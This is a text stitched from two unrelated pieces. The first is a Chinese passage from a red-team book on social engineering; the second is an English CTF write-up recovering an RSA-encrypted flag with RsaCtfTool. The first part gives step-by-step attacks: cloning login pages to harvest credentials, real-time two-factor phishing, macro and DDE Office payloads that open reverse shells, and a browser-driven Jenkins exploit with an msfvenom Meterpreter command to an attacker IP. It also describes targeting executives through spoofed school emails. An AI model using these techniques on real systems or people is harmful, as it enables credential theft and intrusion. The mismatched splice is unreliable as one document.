SET)。这是任何需要获取身份凭证的社工活动的标准工具包。你可以从 https://github.com/trustedsec/social-engineer-toolkit 下载这个工具包。 配置 SET: - 将 SET 配置为使用 Apache(而不是默认的 Python ) - 将配置文件按照以下内容修改: - gedit /etc/setoolkit/set.config - APACHE_SERVER=ON - APACHE_DIRECTORY=/var/www/html - HARVESTER_LOG=/var/www/html - 启动 SET: - cd /opt/social-engineer-toolkit - setoolkit - (1) Spear-Phishing Attack Vectors (鱼叉式钓鱼攻击) - (2) Website Attack Vectors(网站攻击) - (3) Credential Harvester Attack Method (凭证收集攻击方法) - (4) Site Cloner(站点克隆器) - 输入你的攻击服务器的 IP - 克隆目标站点 - 打开浏览器,转到攻击服务器并测试 所有文件都会被储存在 /var/www/html 文件夹下,密码存储在 Harvester* 下。下面是社工活动中克隆页面时的一些比较好的做法: - 搭配使用 Apache 服务器 + SSL - 把所有图像和资源移到本地(而不是从被克隆的站点调用) - 就我个人而言,我喜欢使用我的 PGP 公钥来存储所有记录的密码。这样,如果服务器受到入侵,就无法在没有私钥的情况下恢复密码。PHP gnupg_encrypt 和gnupg_decrypt 支持这一做法。 ### 使用双因素验证的身份凭证 我们看到越来越多的客户使用双因素认证(2FA),对于红队来说双因素认证是一个巨大的麻烦,因为它们不可能被随意绕开。在以前我们必须创建一些定制化的页面,这样可以处理其中的一些情况。但现在我们有了 ReelPhish,这是 FireEye 公司制作的一个工具。当受害者在我们的钓鱼网页上输入登陆凭证时,ReelPhish 允许红队利用 Selenium 和 Chrome 来自动触发双因素验证。 [ReelPhish](https://github.com/fireeye/ReelPhish): - 克隆需要双因素认证的攻击目标站点。 - 使用你的攻击工具箱,解析登录到真实站点的流量。在我的例子中,我打开了 Burp Suite 来获取身份验证所需要的所有 post 参数。 - 修改克隆站点,使其使用 ReelPhish。访问 /examplesitecode/samplecode.php 并输入你的身份验证所需的所有必要参数。 - 受害者进入克隆站点并进行身份验证。 - 凭证被传输到攻击者手中。 - ReelPhish 将在真实站点进行身份验证,触发双因素验证。 - 受害者收到双因素验证的验证码或电话验证。 - 受害者被重定向到真实站点重新登录(他们会认为他们在第一次登录时登陆失败了)。 如下图所示,我们现在应该有一个经过身份验证了的会话来绕过双因素验证。虽然 ReelPuish 看起来很像是支持 Linux ,但我在 Kali 中运行它时遇到了一些问题。所以最好是在 Windows 中运行 ReelPuish。你可以在 FireEye 公司的网站上找到更多关于 ReelPhish 的信息: https://www.fireeye.com/blog/threat-research/2018/02/reelphish-real-time-two-factor-phishing-tool.html 。 ![](../images/chapter_5/5-2.png) 还有一些其他工具可以处理不同的双因素验证绕过的情境: - https://github.com/kgretzky/evilginx - https://github.com/ustayready/CredSniper 还有一件事,当对需要双因素认证的网络资源进行身份验证时,请确保你在得到身份凭据后要尝试使用多种不同的身份验证方法。我的意思是,一些产品可能在 Web 门户网站的身份验证页面使用了双因素验证,但在 API、旧的客户端或所有的应用程序终端上可能并没有使用双因素验证。我们已经看到许多应用程序在公共终端上要求双因素验证,但在应用程序的其他部分则缺乏相应的安全保护。 ## 网络钓鱼 另一个红队已经用之取得了巨大成功的技术是传统的网络钓鱼。网络钓鱼的秘诀在于激发受害者的恐惧感或者紧迫感,有时也会向受害者描绘一些非常美好(甚至不太真实)的诱惑。我相信你以前肯定见过一些恐惧感和紧迫感确发挥巨大威力的情境。利用受害者恐惧和紧迫心理进行攻击的一些例子包括: - 一封带有欺诈性购买的虚假电子邮件 - 有人黑进了你的电子邮件消息 - 有关税务欺诈的电子邮件 这些一般性攻击的问题是,我们已经注意到公司员工变得越来越聪明。通常,每10封基本钓鱼式攻击邮件中至少有1封会被上报。在某些情况下,比例甚至更高。这些情况对于一个红队来说是很有价值的,红队可以持续监控这些简单的网络钓鱼攻击,看看公司在对这些情况的响应方面是不是有所进步。 对于那些寻求自动化钓鱼攻击的人,我高度推荐 [Gophish](http://getgophish.com/documentation/)。Gophish 非常易于设置和维护,并且支持模板和 HTML,另外它还会跟踪和记录你所需的一切。如果你是 Ruby 的粉丝的话,[Phishing Frenzy](https://github.com/pentestgeek/phishing-frenzy)就是一个使用 Ruby 语言写的很好的工具。当然,少不了的也有用 python 语言写的工具,[King Phisher](https://github.com/securestate/king-phisher) 就是使用 Python 开发的。 这些自动化工具非常适合记录简单的网络钓鱼活动。但是对于我们的目标活动,我们得采用更加手工化的方法。例如,如果我们对受害者的邮件记录进行了一些侦察,了解到客户使用 Office365 ,那么我们就可以思考一下如何利用这个信息来策划一场具有高可行度的入侵行动。此外,我们还试图寻找该公司泄露信息的电子邮件,从中来捕捉任何其他可能有帮助的信息,包括他们可能正在运行的程序、新的特性、系统升级、代码合并等等。 我们有时还会开展更具针对性的行动。在这些行动中,我们尝试使用所有的开源工具来搜索有关人员及其财产、家庭等的信息。例如,针对一些公司高管,我们会在 pipl.com 上搜索他们,获取他们的社交媒体帐号,找出他们的孩子上学的地方。然后我们向他们发送一封欺骗性电子邮件,假装是学校发的,说他们需要打开这个 word 文档。要做完这一系列事情可能要花费很长时间,但好处在于成功率很高。 ### Microsoft Word/Excel 宏文件 虽然是很老旧,但向受害者发送恶意的 Microsoft Office 文件仍然是久经考验的一种社会工程学攻击方法。那为什么 Office 文件非常适合作为恶意 payload 的载体呢?这是因为 Office 文件的默认设置是支持 VBA 代码所以允许 VBA 代码的代码执行。尽管最近这种方法已经很容易被杀毒软件检测到,但在经过混淆处理之后,在很多情况下仍然可以生效。 在最基础的水平上,我们可以使用 Empire 或 Unicorn 来创建一个 VBA 宏: - 使用 Empire: - 选择 Macro Stager - usestager windows/macro - 确保进行正确的配置 - info - 创建宏 - generate - 如果你想为 Meterpreter 创建一个 payload ,我们可以使用像 Unicorn 这样的工具: - cd /opt/unicorn - ./unicorn.py windows/meterpreter/reverse_https [your_ip] 443 macro - 启动一个 Metasploit Handler - msfconsole -r ./unicorn.rc 一旦生成成功,你的 payload 将如下所示: ![](../images/chapter_5/5-3.png) 如你所见,这是运行一个简单的 PowerShell base64 混淆脚本。这可以帮助解决绕过一些杀毒软件,但重要的是要确保在进行实时入侵操作之前对其进行测试。生成宏后,你可以快速创建一个 Excel 文档: - 打开 Excel - 转到视图选项卡(View Tab) - >宏 - >查看宏 - 添加一个宏名称,为 book1 配置宏,然后单击 “创建” ![](../images/chapter_5/5-4.png) - 用生成的代码替换所有当前的宏代码 - 另存为 .xls(Word 97-2003)或 Excel Macro-Enabled 格式的文件 ![](../images/chapter_5/5-5.png) 现在,每当有人打开你的文档时,他们都会收到安全警告并看到一个启用内容的按钮。 如果你可以诱导受害者点击“启用内容”的按钮,那么你的 PowerShell 脚本将会被执行,这会弹给你一个 Empire Shell 。 ![](../images/chapter_5/5-6.png) 如前所述,宏文件方法是一种久经考验的旧方法,因此很多受害者已经对这种攻击有了一定的认识。利用 Office 文件的另一种思路是将我们的 payload 嵌入一个批处理文件(.bat)。但在较新版本的 Office 中,如果受害者双击 Word 文档中的 .bat 文件,对象则不会被执行。我们通常不得不试图诱导受害者使其将 .bat 文件移动到桌面并执行。 ![](../images/chapter_5/5-7.png) 我们可以用 [LuckyStrike](https://github.com/curi0usJack/luckystrike) 来以更自动化的方式完成此操作。通过使用 LuckyStrike,我们可以在工作表中使用 Payload 创建 Excel 文档,甚至可以在 Excel 文档中存储完整的可执行文件(exe),这些文件可以用 ReflectivePE 来触发从而在内存中运行。阅读更多关于 LuckyStrike 的内容: - https://www.shellntel.com/blog/2016/9/13/luckystrike-a-database-backed-evil-macro-generator 我想提到的用于 Office 文件执行的最后一个工具是 [VBad](https://github.com/Pepitoh/VBad)。运行 VBad 时,必须在 Office 中启用宏,并在宏安全设置的下拉框中选择 “信任对 VBA 项目对象模型的访问” 选项。这会允许 VBad 运行 python 代码来更改并创建宏。 VBad 会严重混淆 MS Office 文档中的 payload。它还增加了加密功能,用假密钥来迷惑应急响应团队。最重要的是,它可以在第一次成功运行后销毁加密密钥(VBad 是一个一次性使用的恶意软件)。另一个特性是 VBad 也可以销毁对包含有效 payload 的模块的引用,以使其从 VBA 开发者工具中不可见。这使得分析和排除故障变得更加困难。因此,不仅很难去逆向,而且如果应急响应团队尝试分析执行的 Word 文档与原始文档,则所有密钥都将丢失。 ![](../images/chapter_5/5-8.png) ### 非宏的 Office 文件 —— DDE 有时候红队攻击也是一场与时间赛跑的游戏,虽然有些可以利用的易受攻击模块效果很好,但是如果时间久了,一些杀毒软件或者安全软件已经包含了检测的策略,那么也很难利用,所以有时候一些新发现的漏洞是更好利用的。在我们的一次评估中,首次公布了一个名为 DDE 的全新易受攻击模块。杀毒软件或任何安全产品还尚未检测到它,因此这是获得我们初始入口点的好方法。 虽然现在有几种安全产品可以检测 DDE ,但在某些环境中它仍然可能是一种可行的攻击。 什么是 DDE?<br>“ Windows 提供了几种在不同的应用程序之间传输数据的方法。其中一种方法就是使用动态数据交换(DDE)协议。DDE 协议是一组消息和指南。它在共享数据的应用程序之间发送消息,并使用共享内存在应用程序之间交换数据。应用程序可以使用 DDE 协议进行一次性数据传输。并且应用程序也可以利用 DDE 协议来进行持续的数据交换,当新数据可用时候,应用程序可以通过持续的数据交换来彼此发送更新。”<br>[ https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx ] Sensepost 的团队做了一些很棒的研究,发现 MSExcel 和 MSWord 都暴露了 DDEExecute,并且可以在不使用宏的情况下创建代码执行。 在 Word 中: - 转到“插入”选项卡 -> “快速部件” -> “字段” - 选择 = 公式 - 右键单击:!Unexpected End of Formula 并选择 Toggle Field Codes - 将 payload 替换为你的 payload: ```shell DDEAUTO c:\windows\system32\cmd.exe “/k powershell.exe [empire payload here]” ``` ![](../images/chapter_5/5-9.png) Empire 有一个 stager ,可以自动创建 Word 文件和关联的 PowerShell 脚本。 此 stager 可以通过以下方式配置: - usestager windows/macroless_msword ![](../images/chapter_5/5-10.png) 资源: - https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ 除了 0day 漏洞利用(例如 https://github.com/bhdresh/CVE-2017-0199 )之外,Word 文档中是否还有其他任何能利用的特性呢? 答案是肯定的。虽然我们不会在本书中介绍它。其中一个例子是 [subdoc attacks](https://rhinosecuritylabs.com/research/abusing-microsoft-word-features-phishing-subdoc/ )。这些攻击导致受害者向网络上的攻击服务器发出 SMB 请求,以便收集 NTLM Auth Hash(NTLM 验证哈希)。 这种攻击并不是在所有场景里百分百生效,因为大多数公司现在阻止 SMB 相关端口连接外网。对于那些还未进行此种配置的公司,我们可以使用 [subdoc_inector](http://bit.ly/2qxOuiA) 攻击来利用这种错误配置。 ### 隐藏的加密 payload 作为红队队员,我们一直在寻求使用创造性的方法来构建我们的登陆页面,加密我们的 payload,并诱导用户点击运行。具有类似过程的两个不同工具是 EmbededInHTML 和 demiguise。 第一个工具 [EmbededInHTM](https://github.com/Arno0x/EmbedInHTML),该工具的描述是“ 获取文件(任何类型的文件),加密它,并将其作为资源嵌入到 HTML 文件中,还包含模拟用户点击嵌入资源之后的自动下载进程。然后,当用户浏览 HTML 文件时,嵌入式文件即时解密,保存在临时文件夹中,然后将文件展示给用户。这一系列过程会让用户感觉该文件像是从远程站点下载来的。基于用户的浏览器和显示的文件类型,浏览器可以自动打开文件。” - cd /op/EmbedInHTML - python embedInHTML.py -k keypasshere -f meterpreter.xll -o index.html -w ![](../images/chapter_5/5-11.png) 一旦受害者访问恶意站点,弹出的窗口会提示受害者在 Excel 中打开我们的`.xll`文件。不幸的是,对于最新版本的 Excel(除非配置错误),用户需要启用加载项来执行我们的 payload 。这就需要使用你在前面学到的社会工程学技巧了。 第二个工具是 [demiguise](https://github.com/nccgroup/demiguise),描述是“ 生成包含一个加密的 HTA 文件的 .html 文件。该工具的思路是,当你的目标访问该页面时,将获取其密钥并在浏览器中动态解密 HTA 然后将其直接推送给用户。这是一种隐匿技术,可以绕过由某些安全设备进行的的内容/文件类型的检查。但是此工具并不是为了创建优秀的 HTA 内容而设计的。在 HTA 内容方面还有其他工具/技术可以帮助你。demiguis 希望帮助用户的是:首先让你的 HTA 进入一个环境,并且(如果你使用环境键控)避免它被沙盒化。 - python demiguise.py -k hello -c “cmd.exe /c <powershell_command_here>” -p Outlook.Application -o test.hta ## 利用社会工程学攻破内网 Jenkins 作为红队队员,攻击的创造性使我们的工作非常令人兴奋。我们喜欢利用旧的漏洞利用并再次使它们焕然一新。例如,如果你一直在进行网络评估,你就会知道,如果遇到未经身份验证的 Jenkins 应用程序(开发人员大量使用它进行持续集成),这几乎意味着它完全敞开在你的面前。这是因为 Jenkins 具有允许 Groovy 脚本执行测试的 “特性”。利用这个脚本控制台,我们可以使用允许 shell 访问底层系统的执行命令。 ![](../images/chapter_5/5-12.png) 这种方法在入侵方面变得如此受欢迎的原因是几乎每家大公司都有一些 Jenkins 实例。如果想要从外部进行攻击,就会存在一个问题:这些 Jenkins 服务都是内部托管的,无法从外部访问。 我们怎么样才能在这些服务器上远程执行代码? 在我们可以回答这个问题之前,我告诉我的团队先退后一步,用 Jenkins 构建一个副本网络进行测试。 一旦我们很好地理解了代码执行请求的功能,我们现在可以构建合适的工具来获得远程命令执行(RCE)。 面对这种情况,我们通过使用 JavaScript 和 WebRTC(Web实时通信)的一系列步骤解决了这个问题。首先,我们需要一个属于目标组织的受害者来访问一个我们拥有的公开网站或是我们存储了 XSS payload 的网页。一旦受害者访问我们的公开站点,我们将在他的浏览器上执行 JavaScript 从而运行我们的恶意 payload 。 此 payload 会利用一个 Chrome / Firefox 的 “功能” ,此功能允许 WebRTC(Web实时通信)公开受害者的内网 IP 。 通过内网 IP ,我们可以推断出受害者的计算机的本地子网,以了解其公司 IP 范围。 现在,我们可以使用我们特制的 Jenkins 漏洞利用通过 Jenkins 默认的8080端口在他们的网络范围内对每一个 IP 发起攻击(这段代码只扫描本地 /24 ,但在一个真实的红队行动中,你可能会想把扫描范围设置的比这个大很多)。 如果你玩过 Jenkins Console shell ,你就知道它有点难搞,因此能够持续获得复杂的 PowerShell payload 可能会很困难。 为了解决这个问题,我们为本书创建了一个名为 [generateJenkinsExploit.py](https://github.com/cheetz/generateJenkinsExploit) 的工具 ,该工具将获取任何二进制文件,对其进行加密,并构建进行恶意攻击的 JavaScript 页面。当受害者访问我们的恶意网页时,它将获取其内网 IP 并开始将我们的漏洞利用传播到 /24 范围内的所有服务器。当它找到易受攻击的 Jenkins 服务器时,此攻击将发送一个 Groovy 脚本的 payload 来从 internet 上抓取加密的二进制文件,将其解密为一个文件放到 C:\Users\Public\RT.exe 下,并执行 Meterpreter 二进制文件(RT.exe)。 在概念上(如下图所示),这与服务器端请求伪造 (SSRF)非常相似,我们强制受害者的浏览器重新启动与内网 IP 的连接。 - 受害者访问我们存储的 XSS 或恶意 JavaScript 的页面。 - 受害者的浏览器执行 JavaScript/WebRTC 以获取内网 IP 并使用 Groovy POST Payload 对本地内部网络发起攻击。 - 找到一个 Jenkins 服务器后,我们的 Groovy 代码将通知 Jenkins 服务器从攻击者的服务器获取加密的 payload ,然后解密并执行二进制文件。 - 在这种情况下,我们下载的加密可执行文件是 Meterpreter payload。 - Meterpreter 在 Jenkins 服务器上执行,然后连接到我们的攻击者 Meterpreter 服务器。 ![](../images/chapter_5/5-13.png) *注意:最新版本的 Jenkins 中不存在此漏洞。 2.x 之前的版本在默认情况下是易受攻击的,因为它们未启用 CSRF 保护(允许对脚本进行无验证调用),并且未启用身份验证。* **完整的 Jenkins 漏洞利用实验**: - 我们将构建一个 Jenkins Windows 服务器,以便我们可以复现此攻击。 - 在本地网络上安装具有桥接接口的 Windows 虚拟机。 - 在 Windows 系统上,下载并安装 JAVA JDK8。 - 下载 Jenkins war 包: - http://mirrors.jenkins.io/war-stable/1.651.2/ - 启动 Jenkins : - java -jar jenkins.war - 浏览器打开 Jenkins: - http://<Jenkins_IP>:8080/ - 测试 Groovy 脚本控制台: - http://<Jenkins_IP>:8080/script 在 THP Kali 虚拟机上利用 Jenkins: > 译者注:专门为本书开发的集成了所有环境的 Kali 虚拟机,本书第一章有介绍。THP 就是 The Hacker Playbook,本书的英文简称。<br> - 下载 THP Jenkins 漏洞利用工具( http://bit.ly/2IUG8cs )。 - 要执行该实验,我们首先需要创建一个 Meterpreter payload: ```shell msfvenom -p windows/meterpreter/reverse_https LHOST=<attacker_IP> LPORT=8080 -f exe > badware.exe ``` - 加密我们的 Meterpreter 二进制文件: ```shell cd /opt/generateJenkinsExploit python3 ./generateJenkinsExploit.py -e badware.exe ``` - 创建我们的恶意 JavaScript 页面命名为`badware.html`: ```shell python3 ./generateJenkinsExploit.py -p http://<attacker_IP>/badware.exe.encrypted > badware.html ``` - 将加密的二进制和恶意 JavaScript 页面都移动到 Web 目录: ```shell mv badware.html /var/www/html/ mv badware.exe.encrypted /var/www/html/ ``` ![](../images/chapter_5/5-14.png) 现在,在完全不同的系统上,你可以使用 Chrome 或 Firefox 浏览器访问你的攻击者网页:http://<attacker_IP>/badware.html 。只需访问该恶意页面,你的浏览器就会通过我们的 Groovy payload,使用 JavaScript 和 POST 请求对你的内部 /24 网络经由8080端口进行攻击。当它找到一个 Jenkins 服务器时,它将导致该服务器下载我们的加密 Meterpreter ,解密并执行它。在公司网络中,你最终可能会得到大量不同的 shell 。 ![](../images/chapter_5/5-15.png) 任何允许通过 GET 或 POST HTTP 方法进行未经身份验证的代码执行的场景都可以使用此种攻击手法。对于此类攻击,你需要确定受害者在内部使用哪些应用程序并制定你的恶意攻击。 ## 本章总结 社会工程学攻击是一种类似于猫捉老鼠的游戏。这种攻击在很大程度上依赖于人的因素,并瞄准人性中恐惧、紧迫和易于轻信等弱点。通过利用这些人性的漏洞,我们可以创建非常巧妙的入侵行动,这些入侵行动在系统攻击方面具有很高的成功率。 在衡量标准和目标方面,我们需要从消极等待用户、报告钓鱼网页/钓鱼电子邮件等的相关数据这样的反应模型中跳脱出来,转而采用主动模式。我们可以积极狩猎、主动发起包括但不限于以上介绍的这些类型的恶意社工攻击。
sec-knowleage
# Really Severe Absence Category: Cryptography ## Description > The department of EEvil found out about us discovering the first message and now used the ciphertext and the public key only, what can we do? A text file was attached. ## Solution From the name of the challenge we can guess that it will deal with RSA. Let's check the attached file: ```console root@kali:/media/sf_CTFs/technion/Really_Severe_Absence# cat message.txt n: 848769283437755077035548784522516635384103921776544275081677337510057086183733598581454103934679303651652066293006393981078553762703579330005047284676920312044991975559822684502322187646439014378250877000365350352066611956929398507675377843634401913919699083512768346331297579800305741782747141370577756406261222889559035070084401596892784565363546291321440409291888555160756603708498609280645099312282125403116191445419143250907439089250096209451929942676498686820035639670356097807252447021457782197948212850316994384566168289737766223885929092094227280074131444846016882386341256258759616601854877593006389123279278533231406102413202809835392776910534394656929962036250982103324540327262709391071493052844674492910714795803544306869922574456242836258444460262583842448017089784961970914625668833183356104635443435358686061905071798511457144545270384186829606892597743898280501446872903724882901246587702047743253744306560669096349469988927396072700984382532446439350493549001708621787813626638742542944712309592798723052168372028403008517139980256002503562078028577663027548901622982563986674186689207111720124457037521398517572846793217906717539486954010639528547547078995200443699246353004284196851035519373998374153014345881142142904151602166017632356426097724376244830766907081021642864983103443922278461434860152030210020819976428352729337315856083427783334498442442406721395004409895369982825117770823394167599630360467585393316070436941927472805279098392084414145047162470807750814131565607340919365948229373748838368684855416379713139620249577241593307754360478951285876773049061089303875702241503541660628480904964748952489623604192854282458569203777418992497262687038243054408948575792843330047495508252815675035493143221958463561665618446996432453533828618440588907570397412196333577793425409834308188883681650714688108295712991376100787934476457356860584907417898371954850776913843134723152665533970949264514552169121850088187665834762607245050449993023061124685454032404461301597169389133623722130811062770677477071819657993015205087630746088568618773430427892379929116802886494742966272587111228886773113532513577132083353592365810165885685251743240597975859488720024812178422985586475279319909620751005154875199481710519944695799195114138698806546777400270551851297290450811122935196569066575354164738773219324979265041667301297849420503324267264072797922543451857879133711665039939317717907430457381676629949595485556694072896964497106097875523993 e: 65537 c: 828047588444323830190276614698023062847268784812690612631932306876520613927436960638446696104231015825442920215149985425065665732707509844131702248380771124108225238714081179091917836752509443795776717008252721379062184519243960173951474309817792632407752531893595613023945634886073484335627891114969842757094514866385326490762801590187813216820979410597339140297371621142953797143520302153301542317266127633618864506986166659589812127916208632816470655978599286370064521098521681819635534450471710550350811996809379124232522496029272749909628896467443491053852215289555308897516374641751257017170128115116779476042029454673017200932357096625199288690396860245682821790791096307674533022128386842725450814009120874035038399774480248747693729904673350158898771443754679928747611561002434863780125516248420065586310016266761247158615401765468167228775543254572529599357952877930401737509227099371302198061662611465492164481171420630539647519602230323987471133934209997783001811226960655987314422169307872478694293275894379488788596434927344933248069159744964484349641552770804411626495154883598231843703849613774551559986213464392853041130430781938466364651624500424833106629189732747411721891401817685973134149072021639654667015424111369376028451362075273226844582058906921395514563275767980837727065479509199188299757233039742462986972563235124664945485915531057880264350210456122299031424661128518495687836599267558418912767060260387284452463489598436143425194297661658537777994492130699682014406053382400017089657565260092980154480739588934279654226910770501547072701696797065059790792531055925281802183649984279941123107439905095895546434199065237373638111138770288809286306240885088492746002934371941248600948118426483865193513012204568962963575257235753959452562488082495584972967793709892410262180356790902871788975688235964036471136173536787693759242326500582837061330506179662526259873601579510324792828076032535281174650221725322401070908635995614898589960865137999939749196541214351259294809666581323253244247287649602153977164534644842859711563868737614503796140281519340977270716567358792207991101182648145525647756960435269308120752005531225588012469150306016795138115252978997682030280912114605917266408427550508517932215944809802433061926711700627965120664256603159070789051424303980096250762226148098951164998797479819398457730632890486681331315008793129258875415873886134848728651869840111848519370933072275775919884263701235232971139492272647933408 ``` Looks like we need to performs some kind of RSA attack. We'll throw it into RsaCtfTool to try and perform a few automatic attacks: ```console root@kali:/media/sf_CTFs/technion/Really_Severe_Absence# ~/utils/RsaCtfTool/RsaCtfTool.py -n 848769283437755077035548784522516635384103921776544275081677337510057086183733598581454103934679303651652066293006393981078553762703579330005047284676920312044991975559822684502322187646439014378250877000365350352066611956929398507675377843634401913919699083512768346331297579800305741782747141370577756406261222889559035070084401596892784565363546291321440409291888555160756603708498609280645099312282125403116191445419143250907439089250096209451929942676498686820035639670356097807252447021457782197948212850316994384566168289737766223885929092094227280074131444846016882386341256258759616601854877593006389123279278533231406102413202809835392776910534394656929962036250982103324540327262709391071493052844674492910714795803544306869922574456242836258444460262583842448017089784961970914625668833183356104635443435358686061905071798511457144545270384186829606892597743898280501446872903724882901246587702047743253744306560669096349469988927396072700984382532446439350493549001708621787813626638742542944712309592798723052168372028403008517139980256002503562078028577663027548901622982563986674186689207111720124457037521398517572846793217906717539486954010639528547547078995200443699246353004284196851035519373998374153014345881142142904151602166017632356426097724376244830766907081021642864983103443922278461434860152030210020819976428352729337315856083427783334498442442406721395004409895369982825117770823394167599630360467585393316070436941927472805279098392084414145047162470807750814131565607340919365948229373748838368684855416379713139620249577241593307754360478951285876773049061089303875702241503541660628480904964748952489623604192854282458569203777418992497262687038243054408948575792843330047495508252815675035493143221958463561665618446996432453533828618440588907570397412196333577793425409834308188883681650714688108295712991376100787934476457356860584907417898371954850776913843134723152665533970949264514552169121850088187665834762607245050449993023061124685454032404461301597169389133623722130811062770677477071819657993015205087630746088568618773430427892379929116802886494742966272587111228886773113532513577132083353592365810165885685251743240597975859488720024812178422985586475279319909620751005154875199481710519944695799195114138698806546777400270551851297290450811122935196569066575354164738773219324979265041667301297849420503324267264072797922543451857879133711665039939317717907430457381676629949595485556694072896964497106097875523993 -e 65537 --uncipher 8280475884443238301902766146980230628472687848126906126319323068765206139274 3696063844669610423101582544292021514998542506566573270750984413170224838077112410822523871408117909191783675250944379577671700825272137906218451924396017395147430981 7792632407752531893595613023945634886073484335627891114969842757094514866385326490762801590187813216820979410597339140297371621142953797143520302153301542317266127633 6188645069861666595898121279162086328164706559785992863700645210985216818196355344504717105503508119968093791242325224960292727499096288964674434910538522152895553088 9751637464175125701717012811511677947604202945467301720093235709662519928869039686024568282179079109630767453302212838684272545081400912087403503839977448024874769372 9904673350158898771443754679928747611561002434863780125516248420065586310016266761247158615401765468167228775543254572529599357952877930401737509227099371302198061662 6114654921644811714206305396475196022303239874711339342099977830018112269606559873144221693078724786942932758943794887885964349273449332480691597449644843496415527708 0441162649515488359823184370384961377455155998621346439285304113043078193846636465162450042483310662918973274741172189140181768597313414907202163965466701542411136937 6028451362075273226844582058906921395514563275767980837727065479509199188299757233039742462986972563235124664945485915531057880264350210456122299031424661128518495687 8365992675584189127670602603872844524634895984361434251942976616585377779944921306996820144060533824000170896575652600929801544807395889342796542269107705015470727016 9679706505979079253105592528180218364998427994112310743990509589554643419906523737363811113877028880928630624088508849274600293437194124860094811842648386519351301220 4568962963575257235753959452562488082495584972967793709892410262180356790902871788975688235964036471136173536787693759242326500582837061330506179662526259873601579510 3247928280760325352811746502217253224010709086359956148985899608651379999397491965412143512592948096665813232532442472876496021539771645346448428597115638687376145037 9614028151934097727071656735879220799110118264814552564775696043526930812075200553122558801246915030601679513811525297899768203028091211460591726640842755050851793221 5944809802433061926711700627965120664256603159070789051424303980096250762226148098951164998797479819398457730632890486681331315008793129258875415873886134848728651869 840111848519370933072275775919884263701235232971139492272647933408 private argument is not set, the private key will not be displayed, even if recovered. [*] Testing key /tmp/tmp5xubwwj7. Can't load roca because sage is not installed Can't load qicheng because sage is not installed Can't load boneh_durfee because sage is not installed Can't load smallfraction because sage is not installed Can't load ecm2 because sage is not installed Can't load ecm because sage is not installed Can't load binary_polinomial_factoring because sage is not installed [*] Performing comfact_cn attack on /tmp/tmp5xubwwj7. [*] Performing smallq attack on /tmp/tmp5xubwwj7. [*] Performing siqs attack on /tmp/tmp5xubwwj7. [!] Warning: Modulus too large for SIQS attack module [*] Performing euler attack on /tmp/tmp5xubwwj7. [!] Timeout. Euler: Internal Error [*] Performing factordb attack on /tmp/tmp5xubwwj7. Results for /tmp/tmp5xubwwj7: Unciphered data : HEX : 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004d79206465617220667269656e6473206f662074686520646570617274656d656e74206f6620454576696c0a56616164206d61646d61636820686173206d616e6167656420746f2064656372797074206f75722070726576696f7573206d657373616765210a496e206f7264657220746f206b656570206f7572206d65737361676573207365637572652c2066726f6d206e6f77206f6e207765276c6c206f6e6c792073656e6420746865207075626c6963206b657920616e6420636970686572746578742e0a417320737563682c206f6e6c7920746865206f6e657320776974682074686520706f776572206f6620746865206576696c20676f647320286f72207175616e74756d20636f6d707574657273292063616e206465637279707420746865206d65737361676573210a486572652061206e657720666c616720776520646973636f76657265643a206373746563686e696f6e7b5930755f736830556c645f7031636b5f793075525f6b3379355f773135334c797d2c206b656570732074686520666c61677320746f20796f757273656c76657320616e6420746f6765746865722c207768656e207468652074696d6520636f6d65732c207765276c6c2064657374726f792076616164206d61646d616368210a4d6f726520666c61677320746f20636f6d652e0a0a4c6f6e67206c697665207468652045456d7069726521 INT (big endian) : 1357479728486756064796901483231815789287663218536465269046118699813602670164832102971454017228670377400603967228767097122687288219746292119111772753500813711990822150065268770666488093641696477349611243822659257118707296879889826227474257867513112585965068583572022675580012709822634403416793727020559323332561741694026670334525798010467805808475776138459549230316642515499868493197752159641250340060813311378687969227515902462348305380608306709894342020661149726683426556788614851139033707788548847661633702580427351126933117624545574115214244346441923338318284069192209366554054829761147517952437252471264554587066788495963628164140835192476179029987062792194588400916202511850333538915829731656391704823096691550090444243637891832929284178330041524814587323950046918981239400365317038092882960806806048331897571173909918188647923377270399890616099492859667772364657081918753052024158628892572822416274080035636957265949053497693124660045996535537919634087332299491738197924596173729049795084587074297982756210773608778192481787264098058901789243611125122622033357353961297707722093905465736402885236009607867449337663481516490611389476281011793790625802399137014559846329949219033604839926648420715082071229680488290895353344203260307858721 INT (little endian) : 1422926832590615886766743747797299051094096872326039593541798558418613691658503508278053241103905762431824369800121234799144414963860662219641234057285784673139879486099719169989100795400228636812206088555178377253012099382839884352696334425678696971380244389524994069147048882697106049696073634999550704207494386578712197392345568465795038473865522073295656945825854127525567474048969193695816070155141756768026443416734019665219122842361905890491385100891510893836175745120372240286490960338761559436712650574777325813675010624165408455095532834621940070188637587344179200067568545471100530509540721863378577576454057352622945617973456716332897629019982022005910535013756273267103213635206205393317972948260507722429949686658452535926215437929978681774773018875519390474816463792704599875987373015740242662776196233468954414511869704011031538802348195499475795033808443246130168809756051344579899556097877068118482206251865625846951779264023038471960228671558539917611294677020577385611741685421443175863874651736767630619565443412782631324983252726686074839671405276432145449916252185795696557155089710370786449030150999341547621689327915701098557557385591743282414067486233728375723057680794287682057321918565014128146436157754865191106187540331007921632181438731988056256626179145106963500765123162121484398945431385485658142908764579246405926696838689558844526567215962733882658380102363925571667812758235371305687363914618204177784044572588713714231086436583270826824162577612989973558839877058424374553530702082062388006841771149848886808470010242633397068311007696892146539783266632301255660174430561956232186564270618075498774782816026310292514912432287680140778482774274423826137061898585826403186947500098388321189570236679903540258250838317946648091564506712465796639477520725925322964327896222140482280861073499828595909104058934407725321434340007185224933171757643961308651655416990984564358086051290353911860636020100010131463000618151588398680390092964263811996285057546697385993393538127852254996027381100810682690310809724830447117816760087004010203066684441630915643393237029703836476806108975184484756185241371417537246012593965127694573483304372318561209113645488944791744933348341059185053387005595900312414921471673057926324284664260050913731325408183722